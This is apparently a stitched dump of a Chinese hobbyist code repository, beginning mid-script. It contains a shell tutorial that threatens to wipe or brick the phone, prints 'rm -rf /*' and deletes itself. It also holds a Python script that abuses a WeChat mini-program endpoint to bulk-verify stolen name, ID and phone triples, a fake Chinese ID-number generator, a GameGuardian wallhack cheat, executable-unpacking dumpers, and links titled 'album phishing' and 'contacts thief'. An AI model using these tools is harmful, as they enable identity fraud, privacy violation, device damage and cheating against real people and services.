@$vip +"%Y-%m-%d %H:%M:%S"` 2015 | # clear 2016 | # # echo "登录成功,到期时间:${vips}" 2017 | # else 2018 | # echo "校验失败" 2019 | # exit 2020 | # fi 2021 | # else 2022 | # parse_json "$deLogon" "u459540c46b5986e945df4065955fbed6" 2023 | # exit 2024 | # fi 2025 | 2026 | 2027 | 2028 | 2029 | 2030 | #VPN检测 2031 | if ifconfig tun0 >/dev/null 2>&1; then 2032 | 2033 | echo "欢迎来到shell的世界" 2034 | sleep 0.2 2035 | echo "请原谅我但是我必须这么做,请你关闭vpn谢谢。" 2036 | #如果是VPN则退出 2037 | exit 2038 | 2039 | 2040 | else 2041 | 2042 | 2043 | 2044 | #清理屏幕 2045 | clear 2046 | #虚拟机检测 2047 | if [[ $(df -h /sdcard /dev | awk 'NR==2 {print $3}' | sed 's/G$//') -le 10 ]]; then 2048 | echo "en……我知道有的人没有root" 2049 | sleep 0.2 2050 | echo "但是吧我不希望你在虚拟机运行" 2051 | sleep 0.2 2052 | echo "请退出谢谢" 2053 | #如果在虚拟机就退出 2054 | exit 2055 | fi 2056 | #清理屏幕 2057 | clear 2058 | 2059 | #!/bin/sh 2060 | 2061 | # 指定文件路径 2062 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2063 | 2064 | # 使用grep找到最后一行,然后用test命令检查数字条件 2065 | if grep -qE '^[0-9]+$' "$FILE_PATH" && tail -n 1 "$FILE_PATH" | awk '{exit !($1 >= 1)}'; then 2066 | 2067 | #!/bin/sh 2068 | 2069 | # 指定文件路径 2070 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2071 | 2072 | # 使用grep找到最后一行,然后用test命令检查数字条件 2073 | if grep -qE '^[0-9]+$' "$FILE_PATH" && tail -n 2 "$FILE_PATH" | awk '{exit !($1 >= 2)}'; then 2074 | #!/bin/sh 2075 | 2076 | # 指定文件路径 2077 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2078 | 2079 | # 使用grep找到最后一行,然后用test命令检查数字条件 2080 | if grep -qE '^[0-9]+$' "$FILE_PATH" && tail -n 3 "$FILE_PATH" | awk '{exit !($1 >= 3)}'; then 2081 | #!/bin/sh 2082 | 2083 | # 指定文件路径 2084 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2085 | 2086 | # 使用grep找到最后一行,然后用test命令检查数字条件 2087 | if grep -qE '^[0-9]+$' "$FILE_PATH" && tail -n 4 "$FILE_PATH" | awk '{exit !($1 >= 4)}'; then 2088 | 2089 | #!/bin/sh 2090 | 2091 | # 指定文件路径 2092 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2093 | 2094 | # 使用grep找到最后一行,然后用test命令检查数字条件 2095 | if grep -qE '^[0-9]+$' "$FILE_PATH" && tail -n 5 "$FILE_PATH" | awk '{exit !($1 >= 5)}'; then 2096 | 2097 | # 指定文件路径 2098 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2099 | 2100 | # 使用grep找到最后一行,然后用test命令检查数字条件 2101 | if grep -qE '^[0-9]+$' "$FILE_PATH" && tail -n 6 "$FILE_PATH" | awk '{exit !($1 >= 6)}'; then 2102 | 2103 | 2104 | 2105 | echo "跳过" 2106 | 2107 | 2108 | 2109 | else 2110 | echo 2111 | echo 2112 | echo 2113 | echo 2114 | echo "${RED_BOLD} 10秒警示:${RESET}" 2115 | echo "${RED_BOLD} 此脚本教的语法仅供参考,请勿用于违法途径!${RESET}" 2116 | echo "${RED_BOLD} 无论出现什么事情,作者概不担责! ${RESET}" 2117 | echo 2118 | echo 2119 | echo 2120 | echo 2121 | sleep 10 2122 | echo "你有30秒来看协议" 2123 | sleep 5 2124 | clear 2125 | echo "用户协议 2126 | 接下来的内容如果操作不得当会导致手机变砖 2127 | 如果你按照提示来就没有问题 2128 | 请不要尝试破解接下来的内容,如果校验不通过你的手机的数据将全部丢失 2129 | 接下来请不要链接vpn,请不要放入虚拟机执行,如果链接vpn您的手机将会变成砖 2130 | 如果在虚拟机执行您的手机将会因为内存爆满且无法清理而导致变砖 2131 | 注意不是内存爆炸,而是运存和内存全部爆炸" 2132 | echo "${RED_BOLD} 特别强调 ${RESET}" 2133 | echo "${RED_BOLD} 一切问题,作者本人概不负责 ${RESET}" 2134 | echo "${RED_BOLD} 协议如果你同意的话因为操作不当导致手机变砖与作者无关 ${RESET}" 2135 | sleep 30 2136 | if ifconfig tun0 >/dev/null 2>&1; then 2137 | 2138 | echo "请关闭VPN或者网络代理!" 2139 | echo "否则你的手机将会被格机" 2140 | else 2141 | echo "您需要同意协议才可以运行(y/n)" 2142 | read answer 2143 | 2144 | # 使用if语句判断用户输入 2145 | if [ "$answer" == "y" ] || [ "$answer" == "Y" ]; then 2146 | 2147 | 2148 | echo "你同意了协议" 2149 | echo "${RED_BOLD} 再次强调,接下来的内容你大可不必去看,这涉及到c++了${RESET}" 2150 | echo "后面的内容敬请期待" 2151 | #写入进度---------------> 2152 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2153 | # 清空文件内容,并写入数字1 2154 | > "$FILE_PATH" # 清空文件 2155 | echo "6" >> "$FILE_PATH" # 在文件末尾追加数字1 2156 | exit 2157 | #<--------------------- 2158 | 2159 | 2160 | 2161 | 2162 | 2163 | 2164 | 2165 | elif [ "$answer" == "n" ] || [ "$answer" == "N" ]; then 2166 | echo "你拒绝了协议,程序已删除记录,并自毁。" 2167 | rm -f /data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt 2168 | rm -f "$0" 2169 | else 2170 | echo "无效输入,请输入 'y' 或 'n'。" 2171 | fi 2172 | fi 2173 | 2174 | 2175 | 2176 | 2177 | 2178 | 2179 | fi 2180 | 2181 | else 2182 | clear 2183 | echo "说到rm啊,你第一时间是不是想到的是格机" 2184 | sleep 0.2 2185 | echo "这个吧,只能说不要觉得rm只能用来格机" 2186 | rm /data/local/example.txt 2187 | sleep 0.2 2188 | echo "他可以帮助你在执行测试脚本的时候删除临时文件" 2189 | sleep 0.2 2190 | echo "现在呢我已经把位于/data/local/下的example.txt删掉了" 2191 | sleep 0.2 2192 | echo "现在你不信也得信" 2193 | sleep 0.2 2194 | echo "7s后我要清理屏幕来讲rm了" 2195 | sleep 7 2196 | clear 2197 | echo "${RED_BOLD} rm 命令有风险请不要去做违法的事情!${RESET}" 2198 | echo "${RED_BOLD} 出了事情,作者概不担责! ${RESET}" 2199 | echo "先来看看rm的用法吧 2200 | rm +目录 这是删除你指定的目录 例如rm /data/example.txt 就是删除/data目录下的example.txt文件 2201 | rm -r +目录名 就是删除目录以及子目录和所有文件 例如rm -r /data 2202 | rm -f +文件名或目录名 就是删除指定的文件/目录不会进行删除确认 例如 rm -f /data 2203 | rm -d +目录名 是删除一个空目录 例如先试用touch在/data下创建目录名为rm的文件夹 然后使用rm -d /data/rm进行删除 2204 | rm -v +文件名或目录名 会显示删除的文件夹/文件的详细信息 2205 | 当然 最危险的命令是 rm -rf 或者rm -rfv 注意 -rfv不能和 -d使用 如果你不知道删除那一个 那就 rm -rf /*或者rm -rfv /*" 2206 | #红色字体 2207 | RED_BOLD='\033[1;31m' 2208 | RESET='\033[0m' 2209 | echo "${RED_BOLD} rm 命令有风险请不要去做违法的事情!${RESET}" 2210 | echo "${RED_BOLD} 出了事情,作者概不担责! ${RESET}" 2211 | #写入进度---------------> 2212 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2213 | # 清空文件内容,并写入数字1 2214 | > "$FILE_PATH" # 清空文件 2215 | echo "5" >> "$FILE_PATH" # 在文件末尾追加数字1 2216 | #<--------------------- 2217 | echo "看看吧2分钟后自动退出脚本,进度已经保存了" 2218 | sleep 120 2219 | exit 2220 | 2221 | 2222 | 2223 | fi 2224 | 2225 | 2226 | else 2227 | 2228 | 2229 | echo "学了这么多,该来一个重量级的了" 2230 | sleep 0.2 2231 | echo "如果你想要在创建文件的时候偷懒,那么touch一定会帮到你的" 2232 | touch /data/example.txt 2233 | sleep 0.2 2234 | echo "我在你的data目录下创建了一个example.txt,不信的话我可帮你读取一下目录" 2235 | sleep 0.2 2236 | echo "7s后就要读取了" 2237 | sleep 7 2238 | clear 2239 | #读取data目录下的文件夹 2240 | # for item in /data/*; do 2241 | # echo "$item" 2242 | # done 2243 | #读取data目录下的文件 2244 | for item in /data/*; do 2245 | if [ -f "$item" ]; then 2246 | echo "$item" 2247 | fi 2248 | done 2249 | sleep 7 2250 | clear 2251 | echo 2252 | echo 2253 | echo "怎么样服不服" 2254 | sleep 0.2 2255 | echo "touch的用法是 2256 | touch 目录+文件名" 2257 | sleep 0.2 2258 | echo "这说到touch了那就不得不提移动命令了" 2259 | sleep 0.2 2260 | echo "他就是-----mv-----" 2261 | sleep 0.2 2262 | echo "我在data下创建了一个example.txt,既然要讲mv所以说我把example.txt移动到了/data/local下" 2263 | mv /data/example.txt /data/local/ 2264 | sleep 0.2 2265 | echo "你不信啊,来我再帮你扫描一下/data/local" 2266 | sleep 5 2267 | clear 2268 | #读取local目录下的文件夹 2269 | # for item in /data/local/*; do 2270 | # echo "$item" 2271 | # done 2272 | #读取local目录下的文件 2273 | for item in /data/local/*; do 2274 | if [ -f "$item" ]; then 2275 | echo "$item" 2276 | fi 2277 | done 2278 | sleep 5 2279 | clear 2280 | echo "怎么样现在信了吧" 2281 | sleep 0.2 2282 | echo "mv的命令格式是 2283 | mv 源文件路径 目标路径 2284 | 注意源文件路径是文件的绝对路径,目标路径不需要带上文件名" 2285 | sleep 0.2 2286 | echo "既然学会了创建移动,那么删除也是必不可少的" 2287 | sleep 0.2 2288 | echo "比较简单的删除是rm命令" 2289 | sleep 0.2 2290 | echo "由于rm的用法有点多,我会放在进度5来讲" 2291 | #写入进度---------------> 2292 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2293 | # 清空文件内容,并写入数字1 2294 | > "$FILE_PATH" # 清空文件 2295 | echo "4" >> "$FILE_PATH" # 在文件末尾追加数字1 2296 | #<--------------------- 2297 | exit 2298 | 2299 | 2300 | 2301 | fi 2302 | 2303 | 2304 | else 2305 | 2306 | clear 2307 | echo "怎么样sleep语句神奇不神奇" 2308 | sleep 0.2 2309 | echo "我猜你现在一定很懵逼,我是如何做到清理之前的命令的" 2310 | sleep 0.2 2311 | echo "别急,现在就来教你" 2312 | sleep 0.2 2313 | echo "clear的用法有点单一(以我的角度来说)" 2314 | sleep 0.2 2315 | echo "他没什么语法要求,直接给他单独一行写上 clear就好了" 2316 | sleep 1 2317 | echo "来练习一下吧" 2318 | while true; do 2319 | echo "请输尝试输入一个clear 命令" 2320 | read user_input 2321 | 2322 | # # 检查用户是否想要跳过 2323 | # if [ -z "$user_input" == 999999999]; then 2324 | # echo "跳过当前环节。" 2325 | # break 2326 | # fi 2327 | 2328 | # 检查用户输入的是否是echo命令 2329 | if [[ "$user_input" == clear ]]; then 2330 | eval $user_input 2331 | echo "恭喜!执行成功!" 2332 | #写入进度---------------> 2333 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2334 | # 清空文件内容,并写入数字1 2335 | > "$FILE_PATH" # 清空文件 2336 | echo "3" >> "$FILE_PATH" # 在文件末尾追加数字1 2337 | #<--------------------- 2338 | echo "请退出脚本来进行下一个练习" 2339 | sleep 3 2340 | break 2341 | exit 2342 | else 2343 | echo "别灰心再试试" 2344 | fi 2345 | done 2346 | 2347 | 2348 | fi 2349 | 2350 | 2351 | 2352 | else 2353 | 2354 | 2355 | clear 2356 | echo "哦看来你echo也已经学会了" 2357 | sleep 0.2 2358 | echo "那么来练习一下sleep休息语句吧" 2359 | sleep 0.2 2360 | echo "sleep语句的格式是 sleep+空格+时间(秒)" 2361 | sleep 0.2 2362 | echo "sleep的用处大着呢,如果你脚本没有sleep的话就会像下面这样" 2363 | echo 2364 | echo 2365 | echo 2366 | sleep 1 2367 | echo "1" 2368 | echo "2" 2369 | echo "3" 2370 | echo 2371 | echo 2372 | echo "这就是没有sleep的后果-----输出无延迟导致内容直接出现让使用者很不爽" 2373 | sleep 0.2 2374 | echo "如果你延迟0.2s你就会发现一个新大陆" 2375 | sleep 0.2 2376 | echo "这是延迟的效果" 2377 | echo "1" 2378 | sleep 0.2 2379 | echo "2" 2380 | sleep 0.2 2381 | echo "3" 2382 | echo "怎么样是不是有区别" 2383 | echo "5s后就要练习了" 2384 | sleep 5 2385 | clear 2386 | while true; do 2387 | echo "请输尝试输入一个sleep命令" 2388 | read user_input 2389 | 2390 | # # 检查用户是否想要跳过 2391 | # if [ -z "$user_input" == 999999999]; then 2392 | # echo "跳过当前环节。" 2393 | # break 2394 | # fi 2395 | 2396 | # 检查用户输入的是否是sleep命令 2397 | if [[ "$user_input" == sleep* ]]; then 2398 | echo "哦看来你成功了" 2399 | eval $user_input 2400 | echo "恭喜!执行成功!" 2401 | #写入进度---------------> 2402 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2403 | # 清空文件内容,并写入数字1 2404 | > "$FILE_PATH" # 清空文件 2405 | echo "2" >> "$FILE_PATH" # 在文件末尾追加数字2 2406 | #<--------------------- 2407 | echo "请退出脚本来进行下一个练习" 2408 | sleep 2 2409 | break 2410 | exit 2411 | else 2412 | echo "别灰心重新试试" 2413 | fi 2414 | done 2415 | #清除sleep练习内容 2416 | clear 2417 | fi 2418 | 2419 | 2420 | 2421 | 2422 | else 2423 | 2424 | 2425 | 2426 | #echo输出板块------------------> 2427 | echo "欢迎来到shell" 2428 | sleep 0.2 2429 | echo "可能看着有点单一,可是我不想加颜色了" 2430 | echo "ps:太麻烦了(doge" 2431 | sleep 0.2 2432 | echo "10秒后程序正式开始运行" 2433 | 2434 | sleep 10 2435 | #清理屏幕 2436 | clear 2437 | 2438 | echo "来到shell你就必须要学会输出一些字符" 2439 | sleep 0.2 2440 | echo "echo在shell里就充当输出命令" 2441 | sleep 0.2 2442 | echo "既然你想要入门shell那么就要学会echo" 2443 | sleep 0.2 2444 | echo " " 2445 | echo "echo的格式是echo+内容 注意内容前后都要有双引号!(其实也可以不加为了在mt管理器里更好看还是加上好)" 2446 | echo " " 2447 | sleep 0.2 2448 | echo "看懂了么7秒后就要练习了" 2449 | sleep 7 2450 | clear 2451 | #echo练习区 2452 | while true; do 2453 | echo "请输尝试输入一个echo命令" 2454 | read user_input 2455 | 2456 | # # 检查用户是否想要跳过 2457 | # if [ -z "$user_input" == 999999999]; then 2458 | # echo "跳过当前环节。" 2459 | # break 2460 | # fi 2461 | 2462 | # 检查用户输入的是否是echo命令 2463 | if [[ "$user_input" == echo* ]]; then 2464 | eval $user_input 2465 | echo "恭喜!执行成功!" 2466 | #写入进度---------------> 2467 | FILE_PATH="/data/user/0/com.aidepro.top/cache/image_manager_disk_cache/记录.txt" 2468 | # 清空文件内容,并写入数字1 2469 | > "$FILE_PATH" # 清空文件 2470 | echo "1" >> "$FILE_PATH" # 在文件末尾追加数字1 2471 | #<--------------------- 2472 | echo "请退出脚本来进行下一个练习" 2473 | sleep 3 2474 | break 2475 | exit 2476 | else 2477 | echo "输入的命令不是echo,请重新输入。" 2478 | fi 2479 | done 2480 | #清除echo练习内容 2481 | clear 2482 | 2483 | fi 2484 | 2485 | 2486 | 2487 | 2488 | fi 2489 | 2490 | elif [ $choice == "YL1" ]; then 2491 | clear 2492 | # 读取文件名 2493 | echo "请输入要执行的文件名:\n[请把文件放入到与该解密器通目录] " 2494 | read filename 2495 | 2496 | 2497 | nohup ./"$filename" & 2498 | 2499 | 2500 | sleep 2 2501 | 2502 | 2503 | for pid in $(ls /proc | grep -E '^[0-9]+'); do 2504 | exe_path=$(readlink /proc/$pid/exe 2>/dev/null) 2505 | if [[ $exe_path == *"deleted"* ]]; then 2506 | echo "解密数据输出 PID=$pid, EXE=$exe_path" 2507 | # 进行后续操作,比如复制等 2508 | cp /proc/$pid/exe ./玉龙脱壳成功.sh 2509 | echo "脱壳成功,请进行 UPX 变种解密操作第二步\n[请查看当前本地文件有一个脱壳成功]\n\nTG@shtoolsNb " 2510 | break 2511 | fi 2512 | done 2513 | elif [ $choice == "YL2" ]; then 2514 | clear 2515 | echo "第二步,需要御龙脚本。在另一个MT管理器后台挂着" 2516 | echo "给你十秒钟时间去打开" 2517 | sleep 10 2518 | name=$(ps -eo comm | grep "deleted") 2519 | echo $name 2520 | pid=$(ps -eo pid,comm | grep -w "$name" | awk '{print $1}') 2521 | echo $pid 2522 | cat "/proc/$pid/exe" > 手撕落地 2523 | echo "成功输出文件,名称手撕落地" 2524 | elif [ $choice == "YL3" ]; then 2525 | clear 2526 | echo "把upx变异加密手撕了就OK了,自动去的话,还在赶制" 2527 | elif [ $choice == "G5" ]; then ## //选项3 2528 | clear 2529 | printf 请输入文件路径: 2530 | read -r File 2531 | [ ! -f "$File" ] && printf 文件不存在! && exit 2532 | file "$File" | grep -q ELF && printf 不支持二进制! && exit 2533 | mv -f "$File" "$File.bak" 2534 | -------------------------------------------------------------------------------- /一键备份字库.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 创建备份目录 4 | mkdir -p /sdcard/000_Backup 5 | 6 | # 读取设备的分区信息并生成备份和恢复脚本 7 | ls -1 /dev/block/by-name | grep -ixvE "userdata|cache" | while IFS= read -r name; do 8 | echo "dd if=/dev/block/by-name/$name of=/sdcard/000_Backup/$name.img" >> /sdcard/000_Backup/001_Backup.sh 9 | echo "fastboot flash $name $name.img" >> /sdcard/000_Backup/002_Restore.bat 10 | done 11 | 12 | # 提示用户脚本生成完成 13 | echo "备份脚本和恢复脚本已生成在 /sdcard/000_Backup 目录下。" 14 | 15 | # 执行备份脚本 16 | sh /sdcard/000_Backup/001_Backup.sh 17 | echo "备份MD5值是为了防止在存储过程中备份文件出现损坏,而我们浑然不知,将这个损坏的分区刷进手机导致出错" 18 | echo "是否创建MD5值表?(y/n): " 19 | read create_md5 20 | if [ "$create_md5" = "y" ]; then 21 | cd /sdcard/000_Backup && md5sum * > /sdcard/000_Backup/003_MD5Hash.txt 22 | echo "MD5值表已创建在 /sdcard/000_Backup/003_MD5Hash.txt" 23 | else 24 | echo "跳过创建MD5值表。" 25 | fi 26 | 27 | # 修改恢复脚本,注释掉不需要还原的分区 28 | sed -i -e '/ super.img/s/^/::/g' \ 29 | -e '/ system.img/s/^/::/g' \ 30 | -e '/ system_a.img/s/^/::/g' \ 31 | -e '/ system_b.img/s/^/::/g' \ 32 | -e '/ vendor.img/s/^/::/g' \ 33 | -e '/ vendor_a.img/s/^/::/g' \ 34 | -e '/ vendor_b.img/s/^/::/g' \ 35 | -e '/ mmcblk0.img/s/^/::/g' \ 36 | -e '/ sda.img/s/^/::/g' \ 37 | -e '/ sdb.img/s/^/::/g' \ 38 | -e '/ sdc.img/s/^/::/g' \ 39 | -e '/ sdd.img/s/^/::/g' \ 40 | -e '/ sde.img/s/^/::/g' \ 41 | -e '/ sdf.img/s/^/::/g' \ 42 | -e '/ sdg.img/s/^/::/g' /sdcard/000_Backup/002_Restore.bat 43 | 44 | # 打包备份目录 45 | cd /sdcard && tar -czvf PartitionBackup.tgz 000_Backup 46 | 47 | echo "备份已完成,并打包为 /sdcard/PartitionBackup.tgz" 48 | -------------------------------------------------------------------------------- /三要素批量-7.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import threading 3 | import time 4 | import json 5 | import hashlib 6 | import random 7 | import string 8 | 9 | url = "https://wx.jnxls.net/MemberProfileWebService.asmx/SaveRealProfile" 10 | file_lock = threading.Lock() 11 | stop_threads = False 12 | 13 | def generate_sign(devicenumber, data): 14 | sorted_data = sorted(data.items()) 15 | data_str = '&'.join(f'{k}={v}' for k, v in sorted_data) 16 | data_str = devicenumber + data_str 17 | return hashlib.md5(data_str.encode('utf-8')).hexdigest().upper() 18 | 19 | def generate_random_devicenumber(length=18): 20 | return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) 21 | 22 | def verify_info(name, id_card, phone, result_file): 23 | global stop_threads 24 | headers = { 25 | "Xweb_xhr": "1", 26 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b19)XWEB/11065", 27 | "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", 28 | "Accept": "*/*", 29 | "Sec-Fetch-Site": "cross-site", 30 | "Sec-Fetch-Mode": "cors", 31 | "Sec-Fetch-Dest": "empty", 32 | "Referer": "https://servicewechat.com/wx5de780953ff8e77e/66/page-frame.html", 33 | "Accept-Encoding": "gzip, deflate, br", 34 | "Accept-Language": "zh-CN,zh;q=0.9", 35 | "Cache-Control": "no-cache", 36 | "Pragma": "no-cache" 37 | } 38 | 39 | data = { 40 | 41 | 42 | # 小程序 金鲵健康,实名认证,抓包替换realprofileid 43 | "realprofileid": "", 44 | 45 | 46 | "idcard": id_card, 47 | "fullname": name, 48 | "mobilephone": phone, 49 | "realprofiletype": 1, 50 | "authenticationtype": "2", 51 | "devicenumber": generate_random_devicenumber(), 52 | "versioncode": "1", 53 | "platform": "5", 54 | "time": time.strftime("%Y%m%d%H%M%S", time.localtime()), 55 | 56 | 57 | # 小程序 金鲵健康,实名认证,抓包替换token 58 | "token": "", 59 | 60 | 61 | } 62 | 63 | devicenumber = data["devicenumber"] 64 | data["sign"] = generate_sign(devicenumber, data) 65 | 66 | try: 67 | response = requests.post(url, headers=headers, data={ 68 | "requestJson": json.dumps(data)}) 69 | response.raise_for_status() 70 | result = response.json().get("result") 71 | message = response.json().get("message") 72 | if result == '0': 73 | result_str = f"{name}-{id_card}-{phone}-✅核验成功✅\n" 74 | print(f"{name}-{id_card}-{phone} ✅核验成功✅") 75 | stop_threads = True 76 | with file_lock: 77 | with open(result_file, 'a', encoding='utf-8') as f: 78 | f.write(result_str) 79 | else: 80 | print(f"{id_card}-原因:{message}-🚫核验失败🚫") 81 | 82 | except requests.RequestException as e: 83 | print(f"请求失败: {e}") 84 | except Exception as e: 85 | print(f"发生错误: {e}") 86 | 87 | 88 | def read_input_file(file_name, result_file): 89 | global stop_threads 90 | threads = [] 91 | try: 92 | with open(file_name, 'r', encoding='utf-8') as input_file: 93 | for line in input_file: 94 | if stop_threads: 95 | break 96 | info = line.strip().split("-") 97 | if len(info) == 3: t = threading.Thread( 98 | target=verify_info, args=(*info, result_file)) 99 | t.start() 100 | threads.append(t) 101 | 102 | time.sleep(2) # 控制线程并发数(这里不能太快,不然反应不过来) 103 | 104 | except FileNotFoundError: 105 | print("文件未找到,请检查文件路径。") 106 | except Exception as e: 107 | print(f"读取文件时发生错误:{e}") 108 | 109 | for t in threads: 110 | t.join() 111 | @youxs1321 112 | 113 | try: 114 | start_time = time.time() 115 | input_file_name ="/sdcard/待三要素核验.txt" 116 | output_file_name = "/sdcard/三要素核验结果.txt" 117 | read_input_file(input_file_name, output_file_name) 118 | except FileNotFoundError as e: 119 | print(f"文件未找到: {e}") 120 | except ValueError as e: 121 | print(f"值错误发生: {e}") 122 | except Exception as e: 123 | print(f"发生错误: {e}") 124 | 125 | end_time = time.time() 126 | elapsed_time = end_time - start_time 127 | print(f"核验任务已完成,总耗时: {elapsed_time:.2f} 秒") 128 | -------------------------------------------------------------------------------- /开源GLM4-Plus+画图.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | AI 智能助手 7 | 8 | 9 | 241 | 242 | 243 |
244 |
245 |

AI 智能助手

246 | 249 |
250 |
251 |
聊天
252 |
画图
253 |
254 |
255 |
256 |
257 |
258 | 259 |
260 | 264 | 265 | 266 | 267 | 270 |
271 |
272 |
273 |
274 |
275 |
276 |
277 | 278 |
279 | 280 |
281 | 282 |
283 |
284 |
285 |
286 | 287 | 485 | 486 | -------------------------------------------------------------------------------- /核心转储.sh: -------------------------------------------------------------------------------- 1 | #/bin/sh 2 | echo -e "${CYAN}提示您 👾请输入要执行的文件名:\n[请把文件放入到与该解密器通目录] ${RESET}" 3 | read filename 4 | 5 | nohup ./"$filename" & 6 | 7 | sleep 1 8 | # dump1: 9 | ulimit -c 102400 10 | corp=/proc/sys/kernel/core_pattern 11 | core=$(cat $corp) 12 | echo $(pwd)/core.%e.%p > $corp 13 | ./$filename & (sleep 0.01 && kill -SIGSEGV $!) 14 | sleep 1 15 | awk -F aarch64 '{print $1}' *core* 16 | echo $core > $corp 17 | ulimit -c 0 18 | 19 | # dump2: 20 | { 21 | until time=$(date +%s) 22 | [ $(($(date +%s) - $time)) -ge 5 ] 23 | do 24 | pgrep -f $filename | while read i 25 | do 26 | cat /proc/$i/cmdline 27 | done 28 | done 29 | } & ./"$filename" 30 | # dump3: 31 | { 32 | until time=$(date +%s) 33 | [ $(($(date +%s) - $time)) -ge 5 ] 34 | do 35 | pgrep -f $filename | while read i 36 | do 37 | cat /proc/$i/exe 38 | done 39 | done 40 | } & ./"$filename" 41 | -------------------------------------------------------------------------------- /游戏内透模板.lua: -------------------------------------------------------------------------------- 1 | local function getRanges() 2 | local ranges = {} 3 | local t = gg.getRangesList('^/dev/kgsl-3d0*$') 4 | for i, v in pairs(t) do 5 | if v.type:sub(4, 4) == 's' then 6 | table.insert(ranges, v) 7 | end 8 | end 9 | return ranges 10 | end 11 | 12 | local function readD(a) 13 | return gg.getValues({{ 14 | address=a, 15 | flags=gg.TYPE_DWORD 16 | }})[1].value 17 | end 18 | 19 | local function readF(a) 20 | return gg.getValues({{ 21 | address=a, 22 | flags=gg.TYPE_FLOAT 23 | }})[1].value 24 | end 25 | 26 | function setvalue(address,flags,value) 27 | local t={} 28 | t[1]={} 29 | t[1].address=address 30 | t[1].flags=flags 31 | t[1].value=value 32 | gg.setValues(t) 33 | gg.addListItems(t) 34 | end 35 | 36 | function _V(add,value1,flag,value2) 37 | local num=0;ednum=0 38 | if flag==gg.TYPE_DWORD then 39 | readV=readD 40 | elseif flag==gg.TYPE_FLOAT then 41 | readV=readF 42 | else 43 | os.exit("不支持的类型") 44 | end 45 | local S_list = getRanges() 46 | for i in pairs(S_list) do 47 | num=num+1 48 | addr=S_list[i].start+add 49 | if readV(addr)==value1 then 50 | setvalue(addr,flag,value2) 51 | ednum=ednum+1 52 | end 53 | end 54 | return "遍历了"..num.."个地址\n".."修改了"..ednum.."个地址" 55 | end 56 | 57 | gg.toast(_V(0x028,2,gg.TYPE_FLOAT,120))-----马赛克值,一般后面一条就是内透值,要一起使用 58 | gg.toast(_V(0xCBC,2,gg.TYPE_FLOAT,120))-----内透值 59 | gg.clearList(t) -------------------------------------------------------------------------------- /相册钓鱼.alp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SethAion/An_unremarkable-Codesource-library/f8de3da50af99d2447d6cd9b44873af3d7c7d71e/相册钓鱼.alp -------------------------------------------------------------------------------- /自定义补齐身份证.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def generate_id_numbers(prefix, gender, count): 4 | 5 | region_code = prefix[:6] 6 | birth_date = prefix[6:14] 7 | 8 | 9 | factors = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] 10 | 11 | check_digits = '10X98765432' 12 | 13 | id_numbers = [] 14 | for _ in range(count): 15 | 16 | sequence = random.randint(0, 999) 17 | if gender == '男': 18 | sequence += sequence % 2 # 确保是奇数 19 | elif gender == '女': 20 | sequence += (sequence + 1) % 2 # 确保是偶数 21 | 22 | 23 | id_number = f"{region_code}{birth_date}{sequence:03d}" 24 | 25 | 26 | checksum = sum([int(id_number[i]) * factors[i] for i in range(17)]) % 11 27 | id_number += check_digits[checksum] 28 | 29 | id_numbers.append(id_number) 30 | 31 | return id_numbers 32 | 33 | 34 | prefix = input("前14位身份证号码: ") 35 | gender = input("性别(男/女): ") 36 | count = int(input("生成数量: ")) 37 | 38 | ids = generate_id_numbers(prefix, gender, count) 39 | for id_number in ids: 40 | print(id_number) -------------------------------------------------------------------------------- /通讯录大盗.alp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SethAion/An_unremarkable-Codesource-library/f8de3da50af99d2447d6cd9b44873af3d7c7d71e/通讯录大盗.alp --------------------------------------------------------------------------------